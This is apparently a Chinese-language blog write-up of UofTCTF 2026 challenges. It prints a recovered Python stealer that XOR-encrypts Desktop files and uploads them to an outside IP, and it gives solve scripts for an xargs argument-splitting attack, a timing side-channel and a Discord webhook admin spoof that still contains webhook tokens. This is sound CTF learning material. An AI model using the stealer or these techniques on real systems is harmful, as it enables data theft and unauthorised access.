UofTCTF 2026

UofTCTF 2026

Aristore

OSINT

Go Go Coaster!

Challenge

During an episode of Go Go Squid!, Han Shangyan was too scared to go on a roller coaster. What’s the English name of this roller coaster? Also, what’s its height in whole feet?

Flag format: uoftctf{Coaster_Name_HEIGHT}

Example: uoftctf{Yukon_Striker_999}

Notes:

  1. Flag is case-insenstive, just remember to replace spaces with underscores and no decimal points

Solution

UofTCTF2026-1

上海欢乐谷的过山车,直接搜

UofTCTF2026-2

Diving Coaster

UofTCTF2026-3

64.9米 -> 213英尺

FLAG

1
uoftctf{Diving_Coaster_213}

Forensics

Baby Exfil

Challenge

Team K&K has identified suspicious network activity on their machine. Fearing that a competing team may be attempting to steal confidential data through underhanded means, they need your help analyzing the network logs to uncover the truth.

Solution

筛选 http 流量,发现下载了一个 Python 脚本

UofTCTF2026-4

追踪流获取到这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os
import requests

key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"

def xor_file(data, key):
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ ord(key[i % len(key)]))
return bytes(result)

base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]

for root, dirs, files in os.walk(base_path):
for file in files:
if any(file.endswith(ext) for ext in extensions):
filepath = os.path.join(root, file)
try:
with open(filepath, 'rb') as f:
content = f.read()

encrypted = xor_file(content, key)
hex_data = encrypted.hex()
requests.post(server, files={'file': (file, hex_data)})

print(f"Sent: {file}")
except:
pass

发现是窃取信息的脚本,加密方式是异或,密钥是 G0G0Squ1d3Ncrypt10n

直接在厨子解密就行,一张张试下来发现 flag 在 HNderw.png

UofTCTF2026-5

FLAG

1
uoftctf{b4by_w1r3sh4rk_an4lys1s}

My Pokemon Card is Fake!

Challenge

Han Shangyan noticed that recently, Tong Nian has been getting into Pokemon cards. So, what could be a better present than a literal prototype for the original Charizard? Not only that, it has been authenticated and graded a PRISTINE GEM MINT 10 by CGC!!!

Han Shangyan was able to talk the seller down to a modest 6-7 figure sum (not kidding btw), but when he got home, he had an uneasy feeling for some reason. Can you help him uncover the secrets that lie behind these cards?

What you will need to find:

  1. Date and time (relative to the printer, and 24-hour clock) that it was printed.
  2. Printer’s serial number.

The flag format will be uoftctf{YYYY_MM_DD_HH:MM_SERIALNUM}

Example: uoftctf{9999_09_09_23:59_676767676}

Notes:

  1. You’re free to dig more into the whole situation after you’ve solved the challenge, it’s very interesting, though so much hasn’t been or can’t be said :(
  2. Two days after I write this challenge, I’m going to meet the person whose name was used for all this again. Hopefully I’ll be back to respond to tickets!!!

Solution

这题有点费眼睛(

只需稍加搜索就能找到下面这几个帖子:

Many of the Pokemon playtest cards were likely printed in 2024 - Articles - Elite Fourum

Report of Observations Regarding the Pokemon Playtests/Prototype Cards - Articles - Elite Fourum

UofTCTF2026-6

总结一下就是家用打印机会在打印的时候留下一些黄色点阵(Printer tracking dots - Wikipedia,搜索关键词 黄点追踪 也能找到),这是一种隐藏了打印机及操作时间的水印

再稍加搜索就能找到这个解密网站 Yellow Dots Decoder,接下来只要把黄点的位置记录下来然后在这个网站解密即可

直接在原图上点后期会没这么方便查看,因此我的做法是先在原图上面覆盖一个图层然后在上面把明显的黄点用黑色画笔描一下,由于可能会有观察错的情况,因此每个能观察到的点我都描了。最后把底下的图层撤掉得到下图:

UofTCTF2026-7

然后在每块区域的顶上覆盖半透明的从解密网站上截下来的图(有点像冒险小虎队的解密卡哈哈哈),校准方式是右侧那串固定的连续的黄点,得到下面的一系列图片:

UofTCTF2026-8

将多次连续出现的点在解密网站上点出即可

UofTCTF2026-9

Date: 2024-8-6 at 21:49 – Printer Serial Number: 704641508

FLAG

1
uoftctf{2024_08_06_21:49_704641508}

Misc

Encryption Service

Challenge

We made an encryption service. We forgot to make the decryption though. As compensation we are giving free encrypted flags

nc 34.86.4.154 5000

run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/sh

OUTFILE="/tmp/input.txt"

head -c 16 /dev/urandom | od -An -tx1 | tr -d ' ' > "$OUTFILE"

echo "Welcome to the encryption service"
echo "Please put in all your plaintexts"
echo "End with EOF"

while true; do
read -r line

if [ "$line" = "EOF" ]; then
break
fi

echo "$line" >> "$OUTFILE"
done

echo "As a bonus we will also encrypt the flag for you"

cat /flag.txt >> "$OUTFILE"

echo "Here is the encryption."
echo "$(cat "$OUTFILE" | xargs /app/enc.py)"

enc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/local/bin/python3

import sys
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad

def main():
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <hex_key> <plaintext...>")
sys.exit(1)

# arg1 = hex key
key_hex = sys.argv[1]
try:
key = bytes.fromhex(key_hex)
except ValueError:
print("Invalid hex key")
sys.exit(1)

if len(key) != 16:
sys.exit(1)

# arg2..N = plaintext
pt = "\n".join(sys.argv[2:]).encode()

iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv)

ct = cipher.encrypt(pad(pt, AES.block_size))

print(iv.hex() + ct.hex())

if __name__ == "__main__":
main()

Solution

这道题的核心漏洞在于 run.sh 中使用 xargs 将文件内容传递给 enc.py 进行加密的方式。

run.sh 生成一个随机的 Hex Key 写入 /tmp/input.txt 的第一行,然后追加用户的输入,最后追加 flag.txt 的内容。接着执行命令 cat "$OUTFILE" | xargs /app/enc.pyxargs 会读取文件内容,按空白字符(空格、换行)分割,并将它们作为参数传递给 enc.py。正常情况下命令结构是 /app/enc.py <随机Key> <用户输入...> <Flag>enc.py 将第一个参数作为 AES Key,剩下的作为明文加密。

然而 Linux 系统对单条命令的参数长度有限制(通常 xargs 的缓冲区限制约为 128KB),输入太长超过了这个限制的话 xargs 就会把命令拆分成多次执行。

因此攻击方案是构造特定的输入让 xargs 进行拆分:

  • 第一次执行:/app/enc.py <随机Key> <前半部分填充数据>(这部分会被随机 Key 加密,解不开,也不需要解开)
  • 第二次执行:/app/enc.py <构造的已知Key> <剩余的数据+flag>

要注意的是环境不太稳定,输出容易被截断,要多试几次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from Crypto.Cipher import AES
import time

context.log_level = 'info'
io = remote('34.86.4.154', 5000, timeout=5)

def attempt(attempt_count):
log.info(f"第 {attempt_count} 次连接")

try:
io.recvuntil(b"End with EOF\n", timeout=5)

key_hex = "0" * 32
key_bytes = bytes.fromhex(key_hex)
pad_lines = 5600 # payload行数

payload = (key_hex + "\n") * pad_lines

io.send(payload.encode())
io.sendline(b"EOF")

try:
io.recvuntil(b"Here is the encryption.\n", timeout=10)
except Exception:
io.close()
return False

# 接收所有加密数据
response = io.recvall(timeout=10).decode(errors='ignore').strip()
io.close()

if not response:
return False

parts = response.split('\n')
# 过滤空行
parts = [p for p in parts if p]

# flag 在后面,倒序检查
for _, part in enumerate(reversed(parts)):
try:
# 修复可能的截断(奇数长度)
if len(part) % 2 != 0:
part = part[:-1]

iv_hex = part[:32]
ct_hex = part[32:]

iv = bytes.fromhex(iv_hex)
ct = bytes.fromhex(ct_hex)

cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
decrypted_padded = cipher.decrypt(ct)
plaintext = decrypted_padded.decode(errors='ignore')

# 检查 flag
if "uoftctf{" in plaintext:
# 提取 flag
start = plaintext.find("flag{")
if start == -1: start = plaintext.find("uoftctf")

# 打印 flag 行
print(plaintext[start:].split('\n')[0])
return True
except Exception:
continue

return False

except Exception as e:
io.close()
return False

for i in range(1, 11):
if attempt(i):
break
time.sleep(1)

FLAG

1
uoftctf{x4rgs_d03sn7_run_in_0n3_pr0c3ss}

Guess The Number

Challenge

Guess my super secret number

nc 35.231.13.90 5000

chall.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/local/bin/python3
import random
from ast import literal_eval

MAX_NUM = 1<<100
QUOTA = 50

def evaluate(exp, x):
if isinstance(exp, int) or isinstance(exp, bool):
return exp
if isinstance(exp, str):
if exp == 'x':
return x
else:
raise ValueError("Invalid variable")
if not isinstance(exp, dict):
raise ValueError("Invalid expression")

match exp['op']:
case "and":
return evaluate(exp['arg1'], x) and evaluate(exp['arg2'], x)
case "or":
return evaluate(exp['arg1'], x) or evaluate(exp['arg2'], x)
case ">":
return evaluate(exp['arg1'], x) > evaluate(exp['arg2'], x)
case ">=":
return evaluate(exp['arg1'], x) >= evaluate(exp['arg2'], x)
case "<":
return evaluate(exp['arg1'], x) < evaluate(exp['arg2'], x)
case "<=":
return evaluate(exp['arg1'], x) <= evaluate(exp['arg2'], x)
case "+":
return evaluate(exp['arg1'], x) + evaluate(exp['arg2'], x)
case "-":
return evaluate(exp['arg1'], x) - evaluate(exp['arg2'], x)
case "*":
return evaluate(exp['arg1'], x) * evaluate(exp['arg2'], x)
case "/":
return evaluate(exp['arg1'], x) // evaluate(exp['arg2'], x)
case "**":
return evaluate(exp['arg1'], x) ** evaluate(exp['arg2'], x)
case "%":
return evaluate(exp['arg1'], x) % evaluate(exp['arg2'], x)
case "not":
return not evaluate(exp['arg1'], x)


wins = 0
x = random.randint(0, MAX_NUM)
for i in range(QUOTA):
expression = literal_eval(input(f"Input your expression ({i}/{QUOTA}): "))
if bool(evaluate(expression, x)):
print("Yes!")
else:
print("No!")

guess = int(input("Guess the number: "))
if guess == x:
print("Yay you won! Here is the flag: ")
print(open("flag.txt", 'r').read())
else:
print("Wrong. Good luck next time.")

Solution

根据信息论,一次返回 Yes/No 的询问只能提供 1 bit 的信息量。总询问次数为 50 次,理论最大获知信息量为 $50 \times 1 = 50$ bits,未知数 $x$ 的熵为 100 bits。显然常规的二分查找或逐位爆破在数学上是不可能在 50 次内解出 100 bit 整数的,因此解决本题的关键就是找到在单次查询中传递更多信息的方法。

如果在一次查询中我们能区分出 4 种状态,那么单次查询获取获取到的信息将会扩展到 2 bits,$50 \text{ queries} \times 2 \text{ bits/query} = 100 \text{ bits}$,我们只需要找到别的信息载体使得单次查询中能区分出 4 种状态本题就迎刃而解了。

查看 chall.py 发现 evaluate 函数支持以下操作算术运算、逻辑运算、比较运算。Python 的整数幂运算 ** 耗时与指数大小呈超线性关系,因此这里可以利用计算耗时作为第二个维度的信息载体。

我们每次处理 $x$ 的 2 个二进制位,令这 2 位的值为 $v \in {0, 1, 2, 3}$。利用 or 运算符的短路特性构造出以下分层逻辑:

目标值 $v$ 二进制 逻辑条件 附加操作 预期响应 区分特征
0 00 $v < 1$ “No!” 字符串内容
1 01 $v \ge 1$ “Yes!” 响应极快
2 10 $v \ge 2$ 计算 $3^{P1}$ “Yes!” 响应中等
3 11 $v \ge 3$ 计算 $3^{P2}$ “Yes!” 响应极慢

构造的 Payload 逻辑:

1
(v >= 3 and 3**P2) or (v >= 2 and 3**P1) or (v >= 1)
  • 如果 $v=3$:第一个条件命中,执行 $3^{P2}$(耗时长),返回 True
  • 如果 $v=2$:第一个条件失败;第二个条件命中,执行 $3^{P1}$(耗时中等),返回 True
  • 如果 $v=1$:前两个失败;第三个条件命中,无耗时计算,返回 True
  • 如果 $v=0$:全部失败,返回 False

接下来就是痛苦的调参过程了,要找到能对抗网络抖动和服务器性能差异的 P1 和 P2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
import time

io = remote('35.231.13.90', 5000)

P1 = 1600000
P2 = 2500000

# 阈值
LIMIT_FAST = 1.4 # < 1.4s -> 01 (Fast/Jitter)
LIMIT_MED = 3.6 # < 3.6s -> 10 (Med)
# > 3.6s -> 11 (Slow)


def make_op(op, a1, a2):
return {'op': op, 'arg1': a1, 'arg2': a2}

def make_delay(power):
return make_op('**', 3, power)

def get_2bits_val(k):
# (x // 2^k) % 4
return make_op('%', make_op('/', 'x', 1 << k), 4)


final_x = 0

print(f"[*] P1={P1}, P2={P2}")
print(f"[*] 阈值: Fast < {LIMIT_FAST}s | Med < {LIMIT_MED}s | Slow > {LIMIT_MED}s")

start_total = time.time()

for i in range(50):
k = i * 2
val_exp = get_2bits_val(k)

# (v>=3 & DelayP2) OR (v>=2 & DelayP1) OR (v>=1)

term3 = make_op('and', make_op('>=', val_exp, 3), make_delay(P2))
term2 = make_op('and', make_op('>=', val_exp, 2), make_delay(P1))
term1 = make_op('>=', val_exp, 1)

payload = make_op('or', term3, make_op('or', term2, term1))
payload_str = str(payload).replace(" ", "")

io.recvuntil(f"({i}/50): ".encode())

s_time = time.time()
io.sendline(payload_str.encode())
resp = io.recvline().strip().decode()
e_time = time.time()

duration = e_time - s_time

bits_val = 0
state = "Unknown"

if resp == "No!":
bits_val = 0
state = "No (00)"
else:
if duration < LIMIT_FAST:
bits_val = 1
state = f"Yes (01) [Fast]"
elif duration < LIMIT_MED:
bits_val = 2
state = f"Yes (10) [Med ]"
else:
bits_val = 3
state = f"Yes (11) [Slow]"

total_elapsed = e_time - start_total
print(f"[{i:02d}] T:{duration:.4f}s | Bits:{bits_val} | {state} | Total:{total_elapsed:.1f}s")

final_x += bits_val * (1 << k)

print(f"\n[*] x: {final_x}")

io.sendlineafter(b"Guess the number: ", str(final_x).encode())
print(io.recvall(timeout=5).decode())
io.close()

经过多次调试,用 P1=1600000,P2=2500000 解出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
[x] Opening connection to 35.231.13.90 on port 5000
[x] Opening connection to 35.231.13.90 on port 5000: Trying 35.231.13.90
[+] Opening connection to 35.231.13.90 on port 5000: Done
[*] P1=1600000, P2=2500000
[*] 阈值: Fast < 1.4s | Med < 3.6s | Slow > 3.6s
[00] T:5.2801s | Bits:3 | Yes (11) [Slow] | Total:5.6s
[01] T:2.0436s | Bits:2 | Yes (10) [Med ] | Total:7.6s
[02] T:2.9430s | Bits:2 | Yes (10) [Med ] | Total:10.6s
[03] T:0.2489s | Bits:1 | Yes (01) [Fast] | Total:10.8s
[04] T:1.7936s | Bits:2 | Yes (10) [Med ] | Total:12.6s
[05] T:0.2499s | Bits:0 | No (00) | Total:12.9s
[06] T:0.2493s | Bits:1 | Yes (01) [Fast] | Total:13.1s
[07] T:4.5344s | Bits:3 | Yes (11) [Slow] | Total:17.6s
[08] T:0.2492s | Bits:0 | No (00) | Total:17.9s
[09] T:2.6965s | Bits:2 | Yes (10) [Med ] | Total:20.6s
[10] T:0.2488s | Bits:0 | No (00) | Total:20.8s
[11] T:4.7830s | Bits:3 | Yes (11) [Slow] | Total:25.6s
[12] T:0.2490s | Bits:1 | Yes (01) [Fast] | Total:25.9s
[13] T:0.2488s | Bits:1 | Yes (01) [Fast] | Total:26.1s
[14] T:0.2508s | Bits:0 | No (00) | Total:26.4s
[15] T:0.2503s | Bits:1 | Yes (01) [Fast] | Total:26.6s
[16] T:0.7071s | Bits:0 | No (00) | Total:27.3s
[17] T:0.2480s | Bits:0 | No (00) | Total:27.6s
[18] T:0.7024s | Bits:1 | Yes (01) [Fast] | Total:28.3s
[19] T:5.7373s | Bits:3 | Yes (11) [Slow] | Total:34.0s
[20] T:1.5950s | Bits:2 | Yes (10) [Med ] | Total:35.6s
[21] T:2.9403s | Bits:2 | Yes (10) [Med ] | Total:38.6s
[22] T:2.0473s | Bits:2 | Yes (10) [Med ] | Total:40.6s
[23] T:5.0323s | Bits:3 | Yes (11) [Slow] | Total:45.6s
[24] T:0.2484s | Bits:0 | No (00) | Total:45.9s
[25] T:0.2493s | Bits:0 | No (00) | Total:46.1s
[26] T:2.4441s | Bits:2 | Yes (10) [Med ] | Total:48.6s
[27] T:5.0366s | Bits:3 | Yes (11) [Slow] | Total:53.6s
[28] T:0.2490s | Bits:1 | Yes (01) [Fast] | Total:53.9s
[29] T:0.2509s | Bits:0 | No (00) | Total:54.1s
[30] T:2.4473s | Bits:2 | Yes (10) [Med ] | Total:56.6s
[31] T:2.0461s | Bits:2 | Yes (10) [Med ] | Total:58.6s
[32] T:5.9317s | Bits:3 | Yes (11) [Slow] | Total:64.6s
[33] T:0.2473s | Bits:0 | No (00) | Total:64.8s
[34] T:0.2478s | Bits:1 | Yes (01) [Fast] | Total:65.1s
[35] T:0.2495s | Bits:1 | Yes (01) [Fast] | Total:65.3s
[36] T:5.3223s | Bits:3 | Yes (11) [Slow] | Total:70.6s
[37] T:0.2499s | Bits:1 | Yes (01) [Fast] | Total:70.9s
[38] T:6.1495s | Bits:3 | Yes (11) [Slow] | Total:77.0s
[39] T:0.2492s | Bits:0 | No (00) | Total:77.3s
[40] T:0.2487s | Bits:0 | No (00) | Total:77.5s
[41] T:2.0671s | Bits:2 | Yes (10) [Med ] | Total:79.6s
[42] T:5.0335s | Bits:3 | Yes (11) [Slow] | Total:84.6s
[43] T:0.2495s | Bits:0 | No (00) | Total:84.9s
[44] T:2.6962s | Bits:2 | Yes (10) [Med ] | Total:87.6s
[45] T:0.2484s | Bits:1 | Yes (01) [Fast] | Total:87.8s
[46] T:4.8030s | Bits:3 | Yes (11) [Slow] | Total:92.6s
[47] T:0.2489s | Bits:1 | Yes (01) [Fast] | Total:92.9s
[48] T:2.7004s | Bits:2 | Yes (10) [Med ] | Total:95.6s
[49] T:5.0352s | Bits:3 | Yes (11) [Slow] | Total:100.6s

[*] x: 1145781467477418760816437023339
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 70B
[+] Receiving all data: Done (70B)
[*] Closed connection to 35.231.13.90 port 5000
Yay you won! Here is the flag:
uoftctf{h0w_did_y0u_gu3ss_7h3_numb3r}

FLAG

1
uoftctf{h0w_did_y0u_gu3ss_7h3_numb3r}

K&K Training Room

Challenge

Welcome to the K&K Training Room. Before every match, players must check in through the bot.
A successful check in grants the K&K role, opening access to team channels and match coordination.
https://discord.gg/3u6V8uAGm7

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
const {
Client,
GatewayIntentBits,
Events,
EmbedBuilder,
MessageFlags,
} = require('discord.js');

/* ───────────────────── CONFIG ───────────────────── */

const CONFIG = {
ROLE_NAME: 'K&K',
ADMIN_NAME: 'admin',
WEBHOOK_NAME: 'K&K Announcer',
TARGET_GUILD_ID: '1455821434927579198',
};

/* ───────────────────── CLIENT ───────────────────── */

const client = new Client({
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent,
],
});

/* ───────────────────── DATA ───────────────────── */

const HAN_SHANGYAN_QUOTES = [
"I'm yours. Sooner or later, I will be.",
"Except for you, no one else matters to me.",
"Romance isn't important. A lifetime is. I'll give you all of it.",
"My little squid, I'll take responsibility for you.",
"I don't know how to talk sweetly, but everything I do is for you.",
"To you, I might just be one relationship. To me, you are my life.",
"As long as you're willing to stay, I won't let go.",
"I don't like explaining myself, but for you, I will.",
"Winning is important, but you matter more.",
"I'm not good at promises. If I say it, I mean it.",
"I don't need the world to understand me. You understanding me is enough.",
"I won't say I love you often, but I'll prove it every day.",
"I've waited a long time. I can wait for you too.",
"If you want me, then I'm yours.",
"I'm not gentle by nature. My gentleness is only for you.",
"I don't know what the future holds, but I know I want you in it.",
"I won't let anyone bully you. Not now, not ever.",
"You're not a distraction. You're my motivation.",
"If you fall behind, I'll slow down and walk with you.",
"I'm not afraid of losing games. I'm afraid of losing you.",
"I don't chase happiness. I protect it.",
"I may look cold, but everything I do is serious.",
"As long as you're here, I'm home.",
"I don't need applause. I need you.",
"You don't need to grow up so fast. I'm here.",
"I'll handle the hard parts. You just stay happy.",
"I don't talk much, but I'll always show up.",
"If you believe in me, I'll win for you.",
"I don't regret meeting you. Not even once.",
"From now on, your future includes me.",
];

/* ───────────────────── HELPERS ───────────────────── */

const randomQuote = () =>
HAN_SHANGYAN_QUOTES[Math.floor(Math.random() * HAN_SHANGYAN_QUOTES.length)];

const isAdmin = (message) => message.author.username === CONFIG.ADMIN_NAME;

/* ───────────────────── EVENTS ───────────────────── */

client.on(Events.MessageCreate, async (message) => {
if (message.content !== '!webhook') return;
if (!isAdmin(message)) {
return message.reply(`Only \`${CONFIG.ADMIN_NAME}\` can set up the K&K announcer webhook.`);
}

const webhooks = await message.channel.fetchWebhooks();
const existingWebhook = webhooks.find((w) => w.owner?.id === client.user.id);

if (existingWebhook) {
return message.reply('Announcer webhook already exists.');
}

try {
const webhook = await message.channel.createWebhook({
name: CONFIG.WEBHOOK_NAME,
});

const embed = new EmbedBuilder()
.setTitle('Announcer Webhook Created!')
.setDescription(webhook.url)
.setFooter({ text: `“${randomQuote()}” — Gun` })
.setColor(0xe4bfc8);

await message.reply({ embeds: [embed] });
} catch (err) {
console.error('Webhook creation failed:', err);
message.reply('Failed to create announcer webhook.');
}
});

client.on(Events.InteractionCreate, async (interaction) => {
if (!interaction.isButton() || interaction.customId !== 'checkin') return;

const guild = client.guilds.cache.get(CONFIG.TARGET_GUILD_ID);
if (!guild) {
return interaction.reply({
content: `Could not access guild (${CONFIG.TARGET_GUILD_ID}).`,
flags: MessageFlags.Ephemeral,
});
}

const role = guild.roles.cache.find(r => r.name === CONFIG.ROLE_NAME);
if (!role) {
return interaction.reply({
content: `Role **${CONFIG.ROLE_NAME}** not found in **${guild.name}**.`,
flags: MessageFlags.Ephemeral,
});
}

let member;
try {
member = await guild.members.fetch(interaction.user.id);
} catch {
return interaction.reply({
content: `You're not a member of **${guild.name}**.`,
flags: MessageFlags.Ephemeral,
});
}

const alreadyHasRole = member.roles.cache.has(role.id);

if (!alreadyHasRole) {
try {
await member.roles.add(role);
} catch (err) {
console.error('Role assignment failed:', err);
return interaction.reply({
content: 'Failed to assign role. Check bot permissions.',
flags: MessageFlags.Ephemeral,
});
}
}

return interaction.reply({
content: alreadyHasRole
? `You're already checked in at **${guild.name}**.`
: `Checked in at **${guild.name}**! Assigned **${role.name}**.`,
flags: MessageFlags.Ephemeral,
});
});

/* ───────────────────── START ───────────────────── */

client.login("");

Solution

这题目是一道 Discord Bot 的逻辑漏洞题,index.js 存在鉴权缺陷。

在代码的 HELPERS 部分有一个鉴权函数:

1
const isAdmin = (message) => message.author.username === CONFIG.ADMIN_NAME;

而在 CONFIG 中,ADMIN_NAME 被定义为 'admin'
在 discord 中 message.author.username 并不一定是真实的注册用户,webhook 发送的消息也会触发 MessageCreate 事件,并且 webhook 的 username 是可以在发送消息时任意自定义的。如果通过 webhook 发送一条内容为 !webhook 的消息,并将 webhook 的显示名称设置为 admin,机器人就会认为这条消息是管理员发送的,从而执行后续逻辑。

先创建一个服务器用于测试 https://discord.com/channels/1460018687301128224/1460018688135790846

然后加入题目描述中的服务器,按照下图操作获取到这个 bot 的链接 https://discord.com/oauth2/authorize?client_id=1455821262684164196

UofTCTF2026-10

然后使用这个链接把它邀请到前面创好的测试服务器 https://discord.com/api/oauth2/authorize?client_id=1455821262684164196&permissions=8&scope=bot

UofTCTF2026-11

然后创建一个 webhook:点击频道名旁的齿轮 -> Integrations -> Webhooks -> New Webhook

https://discord.com/api/webhooks/1460020912211628155/H_lR5yetAaKK0IotdxvJ3-xC2MinyLF2h4gV_QnGwb9pAI56TJxPNrmpz9-UrgTAL1pd

然后通过这个接口伪造 admin 发送命令 !webhook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import http.client
import json
from urllib.parse import urlparse

WEBHOOK = "https://discord.com/api/webhooks/1460020912211628155/H_lR5yetAaKK0IotdxvJ3-xC2MinyLF2h4gV_QnGwb9pAI56TJxPNrmpz9-UrgTAL1pd"

p = urlparse(WEBHOOK)
conn = http.client.HTTPSConnection(p.netloc)

payload = {
"username": "admin",
"content": "!webhook"
}

conn.request("POST", p.path, json.dumps(payload), {'Content-Type': 'application/json'})
res = conn.getresponse()
print(res.status)

UofTCTF2026-12

得到一个 webhook:https://discord.com/api/webhooks/1460022835677495388/mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR

用 GET 方法访问得到以下返回:

1
2
3
4
5
6
7
8
9
10
11
{
"application_id": "1455821262684164196",
"avatar": null,
"channel_id": "1460018688135790846",
"guild_id": "1460018687301128224",
"id": "1460022835677495388",
"name": "K&K Announcer",
"type": 1,
"token": "mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR",
"url": "https://discord.com/api/webhooks/1460022835677495388/mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR"
}

发现这个 webhook 就在当前服务器,因此直接发送带 checkin 按钮的消息即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import http.client
import json
from urllib.parse import urlparse

WEBHOOK = "https://discord.com/api/webhooks/1460022835677495388/mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR"

p = urlparse(WEBHOOK)
conn = http.client.HTTPSConnection(p.netloc)

payload = {
"components": [{
"type": 1,
"components": [{
"type": 2,
"style": 1,
"label": "checkin",
"custom_id": "checkin"
}]
}]
}

conn.request("POST", p.path, json.dumps(payload), {'Content-Type': 'application/json'})
res = conn.getresponse()
print(res.status)

UofTCTF2026-13

点击按钮回到题目服务器就会发现解锁了一个新频道

UofTCTF2026-14

上文中创建的 webhook 和测试用服务器已删除。顺便提一个小技巧,因为网络原因在本地发包失败的话可以试试看在 Colab 发包(因为我就是这么干的)

UofTCTF2026-15

FLAG

1
uoftctf{tr41n_h4rd_w1n_345y_a625e2acd5ed}
  • 标题: UofTCTF 2026
  • 作者: Aristore
  • 链接: https://www.aristore.top/posts/UofTCTF2026/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论